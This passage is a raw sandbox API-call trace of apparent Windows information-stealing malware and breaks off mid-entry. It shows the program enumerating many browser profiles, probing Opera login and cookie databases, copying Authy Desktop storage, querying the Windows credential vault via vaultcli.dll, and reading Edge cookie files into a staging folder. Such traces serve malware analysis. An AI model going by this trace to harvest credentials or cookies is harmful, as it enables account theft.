[0050.494] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Sputnik\\User Data\\*", lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 0xffffffff [0050.494] CreateFileW (lpFileName="files\\passwords.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\passwords.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f164, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x388 [0050.494] GetFileType (hFile=0x388) returned 0x1 [0050.494] SetFilePointer (in: hFile=0x388, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0050.494] GetLastError () returned 0x83 [0050.494] GetLastError () returned 0x83 [0050.494] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Epic Privacy Browser\\User Data\\*", lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 0xffffffff [0050.494] CreateFileW (lpFileName="files\\passwords.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\passwords.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f164, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x388 [0050.495] GetFileType (hFile=0x388) returned 0x1 [0050.495] SetFilePointer (in: hFile=0x388, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0050.495] GetLastError () returned 0x83 [0050.495] GetLastError () returned 0x83 [0050.495] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Vivaldi\\User Data\\*", lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 0xffffffff [0050.495] CreateFileW (lpFileName="files\\passwords.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\passwords.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f164, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x388 [0050.495] GetFileType (hFile=0x388) returned 0x1 [0050.495] SetFilePointer (in: hFile=0x388, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0050.495] GetLastError () returned 0x83 [0050.495] GetLastError () returned 0x83 [0050.495] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\CocCoc\\Browser\\User Data\\*", lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 0xffffffff [0050.495] CreateFileW (lpFileName="files\\passwords.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\passwords.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f164, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x388 [0050.496] GetFileType (hFile=0x388) returned 0x1 [0050.496] SetFilePointer (in: hFile=0x388, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0050.496] GetLastError () returned 0x83 [0050.496] GetLastError () returned 0x83 [0050.496] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\uCozMedia\\Uran\\User Data\\*", lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 0xffffffff [0050.496] CreateFileW (lpFileName="files\\passwords.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\passwords.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f164, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x388 [0050.496] GetFileType (hFile=0x388) returned 0x1 [0050.496] SetFilePointer (in: hFile=0x388, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0050.496] GetLastError () returned 0x83 [0050.496] GetLastError () returned 0x83 [0050.496] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\QIP Surf\\User Data\\*", lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 0xffffffff [0050.496] CreateFileW (lpFileName="files\\passwords.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\passwords.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f164, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x388 [0050.497] GetFileType (hFile=0x388) returned 0x1 [0050.497] SetFilePointer (in: hFile=0x388, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0050.497] GetLastError () returned 0x83 [0050.497] GetLastError () returned 0x83 [0050.497] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\CentBrowser\\User Data\\*", lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 0xffffffff [0050.497] CreateFileW (lpFileName="files\\passwords.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\passwords.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f164, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x388 [0050.497] GetFileType (hFile=0x388) returned 0x1 [0050.497] SetFilePointer (in: hFile=0x388, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0050.497] GetLastError () returned 0x83 [0050.497] GetLastError () returned 0x83 [0050.497] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Elements Browser\\User Data\\*", lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 0xffffffff [0050.498] CreateFileW (lpFileName="files\\passwords.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\passwords.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f164, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x388 [0050.498] GetFileType (hFile=0x388) returned 0x1 [0050.498] SetFilePointer (in: hFile=0x388, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0050.498] GetLastError () returned 0x83 [0050.498] GetLastError () returned 0x83 [0050.498] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\TorBro\\Profile\\*", lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 0xffffffff [0050.498] CreateFileW (lpFileName="files\\passwords.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\passwords.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f164, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x388 [0050.498] GetFileType (hFile=0x388) returned 0x1 [0050.498] SetFilePointer (in: hFile=0x388, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0050.498] GetLastError () returned 0x83 [0050.498] GetLastError () returned 0x83 [0050.499] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Suhba\\User Data\\*", lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 0xffffffff [0050.499] CreateFileW (lpFileName="files\\passwords.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\passwords.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f164, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x388 [0050.499] GetFileType (hFile=0x388) returned 0x1 [0050.499] SetFilePointer (in: hFile=0x388, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0050.499] GetLastError () returned 0x83 [0050.499] GetLastError () returned 0x83 [0050.499] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Rafotech\\Mustang\\User Data\\*", lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 0xffffffff [0050.499] CreateFileW (lpFileName="files\\passwords.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\passwords.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f164, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x388 [0050.499] GetFileType (hFile=0x388) returned 0x1 [0050.499] SetFilePointer (in: hFile=0x388, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0050.499] GetLastError () returned 0x83 [0050.499] GetLastError () returned 0x83 [0050.500] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Chedot\\User Data\\*", lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 0xffffffff [0050.500] CreateFileW (lpFileName="files\\passwords.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\passwords.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f164, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x388 [0050.500] GetFileType (hFile=0x388) returned 0x1 [0050.500] SetFilePointer (in: hFile=0x388, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0050.500] GetLastError () returned 0x83 [0050.500] GetLastError () returned 0x83 [0050.500] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\360Browser\\Browser\\User Data\\*", lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 0xffffffff [0050.500] CreateFileW (lpFileName="files\\passwords.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\passwords.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f164, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x388 [0050.500] GetFileType (hFile=0x388) returned 0x1 [0050.500] SetFilePointer (in: hFile=0x388, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0050.500] GetLastError () returned 0x83 [0050.500] GetLastError () returned 0x83 [0050.500] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\*", lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 0xffffffff [0050.501] CreateFileW (lpFileName="files\\passwords.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\passwords.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f4e8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x388 [0050.501] GetFileType (hFile=0x388) returned 0x1 [0050.501] SetFilePointer (in: hFile=0x388, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0050.501] GetLastError () returned 0x83 [0050.501] GetLastError () returned 0x83 [0050.501] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\opera software\\opera stable\\login data")) returned 0xffffffff [0050.501] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Opera Software\\Opera Stable\\History" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\opera software\\opera stable\\history")) returned 0xffffffff [0050.501] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\opera software\\opera stable\\cookies")) returned 0xffffffff [0050.501] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Opera Software\\Opera Stable\\Web Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\opera software\\opera stable\\web data")) returned 0xffffffff [0050.501] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Authy Desktop\\Local Storage\\*.localstorage", lpFindFileData=0x19f3ac | out: lpFindFileData=0x19f3ac) returned 0xffffffff [0050.501] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x19f3ac | out: lpFindFileData=0x19f3ac) returned 0 [0050.501] CreateDirectoryA (lpPathName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\soft"), lpSecurityAttributes=0x0) returned 1 [0050.502] CreateDirectoryA (lpPathName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\Authy" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\soft\\authy"), lpSecurityAttributes=0x0) returned 1 [0050.502] CopyFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Authy Desktop\\Local Storage\\\x04" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\authy desktop\\local storage\\\x04"), lpNewFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\Authy\\\x04" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\soft\\authy\\\x04"), bFailIfExists=1) returned 0 [0050.502] GetVersionExA (in: lpVersionInformation=0x19f788*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x19f788*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0050.502] LoadLibraryA (lpLibFileName="vaultcli.dll") returned 0x734a0000 [0051.482] GetProcAddress (hModule=0x734a0000, lpProcName="VaultOpenVault") returned 0x734a9e10 [0051.482] GetProcAddress (hModule=0x734a0000, lpProcName="VaultCloseVault") returned 0x734a9e80 [0051.482] GetProcAddress (hModule=0x734a0000, lpProcName="VaultEnumerateItems") returned 0x734a9c80 [0051.482] GetProcAddress (hModule=0x734a0000, lpProcName="VaultGetItem") returned 0x734a9bf0 [0051.483] GetProcAddress (hModule=0x734a0000, lpProcName="VaultFree") returned 0x734a9690 [0051.483] VaultOpenVault () returned 0x0 [0051.508] VaultEnumerateItems () returned 0x0 [0051.508] VaultCloseVault () returned 0x0 [0051.508] FreeLibrary (hLibModule=0x734a0000) returned 1 [0051.513] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\*.txt", lpFindFileData=0x19f26c | out: lpFindFileData=0x19f26c) returned 0xffffffff [0051.513] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x19f26c | out: lpFindFileData=0x19f26c) returned 0 [0051.513] CreateFileW (lpFileName="files\\Cookies\\IE_Cookies.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\cookies\\ie_cookies.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f3e8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x38c [0051.515] GetFileType (hFile=0x38c) returned 0x1 [0051.515] SetFilePointer (in: hFile=0x38c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.515] GetLastError () returned 0x83 [0051.515] GetLastError () returned 0x83 [0051.515] CreateFileA (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\??" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\??"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x19f360, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0051.516] GetLastError () returned 0x3 [0051.516] GetLastError () returned 0x3 [0051.516] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\*.cookie", lpFindFileData=0x19f26c | out: lpFindFileData=0x19f26c) returned 0xffffffff [0051.517] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x19f26c | out: lpFindFileData=0x19f26c) returned 0 [0051.517] CreateFileW (lpFileName="files\\Cookies\\Edge_Cookies.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\cookies\\edge_cookies.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f3e8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x38c [0051.517] GetFileType (hFile=0x38c) returned 0x1 [0051.517] SetFilePointer (in: hFile=0x38c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.518] GetLastError () returned 0x83 [0051.518] GetLastError () returned 0x83 [0051.518] CreateFileA (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\\x18" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\\x18"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x19f360, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0051.518] GetLastError () returned 0x7b [0051.518] GetLastError () returned 0x7b [0051.518] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\*.txt", lpFindFileData=0x19f26c | out: lpFindFileData=0x19f26c) returned 0x58a500 [0051.518] FindNextFileW (in: hFindFile=0x58a500, lpFindFileData=0x19f26c | out: lpFindFileData=0x19f26c) returned 1 [0051.519] FindNextFileW (in: hFindFile=0x58a500, lpFindFileData=0x19f26c | out: lpFindFileData=0x19f26c) returned 1 [0051.519] FindNextFileW (in: hFindFile=0x58a500, lpFindFileData=0x19f26c | out: lpFindFileData=0x19f26c) returned 1 [0051.519] FindNextFileW (in: hFindFile=0x58a500, lpFindFileData=0x19f26c | out: lpFindFileData=0x19f26c) returned 1 [0051.519] FindNextFileW (in: hFindFile=0x58a500, lpFindFileData=0x19f26c | out: lpFindFileData=0x19f26c) returned 1 [0051.519] FindNextFileW (in: hFindFile=0x58a500, lpFindFileData=0x19f26c | out: lpFindFileData=0x19f26c) returned 1 [0051.519] FindNextFileW (in: hFindFile=0x58a500, lpFindFileData=0x19f26c | out: lpFindFileData=0x19f26c) returned 1 [0051.519] FindNextFileW (in: hFindFile=0x58a500, lpFindFileData=0x19f26c | out: lpFindFileData=0x19f26c) returned 1 [0051.519] FindNextFileW (in: hFindFile=0x58a500, lpFindFileData=0x19f26c | out: lpFindFileData=0x19f26c) returned 1 [0051.519] FindNextFileW (in: hFindFile=0x58a500, lpFindFileData=0x19f26c | out: lpFindFileData=0x19f26c) returned 1 [0051.519] FindNextFileW (in: hFindFile=0x58a500, lpFindFileData=0x19f26c | out: lpFindFileData=0x19f26c) returned 0 [0051.519] CreateFileW (lpFileName="files\\Cookies\\Edge_Cookies.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\cookies\\edge_cookies.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f3e8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x388 [0051.519] GetFileType (hFile=0x388) returned 0x1 [0051.519] SetFilePointer (in: hFile=0x388, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.519] GetLastError () returned 0x83 [0051.519] GetLastError () returned 0x83 [0051.519] CreateFileA (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\1ZJA02JO.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\1zja02jo.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x19f360, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0051.520] GetFileType (hFile=0x394) returned 0x1 [0051.520] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19f3b8, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19f3b8*=0x6f, lpOverlapped=0x0) returned 1 [0051.521] SetFilePointer (in: hFile=0x388, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f1c4*=0) returned 0x0 [0051.521] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19f3b8, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19f3b8*=0x0, lpOverlapped=0x0) returned 1 [0051.522] CreateFileA (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\268TPJIA.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\268tpjia.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x19f360, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0051.522] GetFileType (hFile=0x394) returned 0x1 [0051.522] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19f3b8, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19f3b8*=0x26c, lpOverlapped=0x0) returned 1 [0051.524] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19f3b8, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19f3b8*=0x0, lpOverlapped=0x0) returned 1 [0051.524] CreateFileA (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\6KWA3R8C.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\6kwa3r8c.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x19f360, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0051.524] GetFileType (hFile=0x394) returned 0x1 [0051.524] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19f3b8, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19f3b8*=0x4d, lpOverlapped=0x0) returned 1 [0051.525] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19f3b8, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19f3b8*=0x0, lpOverlapped=0x0) returned 1 [0051.525] CreateFileA (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\85DGK2J5.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\85dgk2j5.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x19f360, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0051.525] GetFileType (hFile=0x394) returned 0x1 [0051.525] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19f3b8, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19f3b8*=0xd5, lpOverlapped=0x0) returned 1 [0051.526] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19f3b8, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19f3b8*=0x0, lpOverlapped=0x0) returned 1 [0051.526] CreateFileA (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\FPNDV7T3.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\fpndv7t3.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x19f360, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0051.527] GetFileType (hFile=0x394) returned 0x1 [0051.527] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19f3b8, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19f3b8*=0x1a0, lpOverlapped=0x0) returned 1 [0051.528] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19f3b8, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19f3b8*=0x0, lpOverlapped=0x0) returned 1 [0051.528] CreateFileA (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\J9KFLZDX.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\j9kflzdx.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x19f360, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0051.529] GetFileType (hFile=0x394) returned 0x1 [0051.529] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19f3b8, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19f3b8*=0x181, lpOverlapped=0x0) returned 1 [0051.530] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19f3b8, lpOverlapped=0x0 | out: 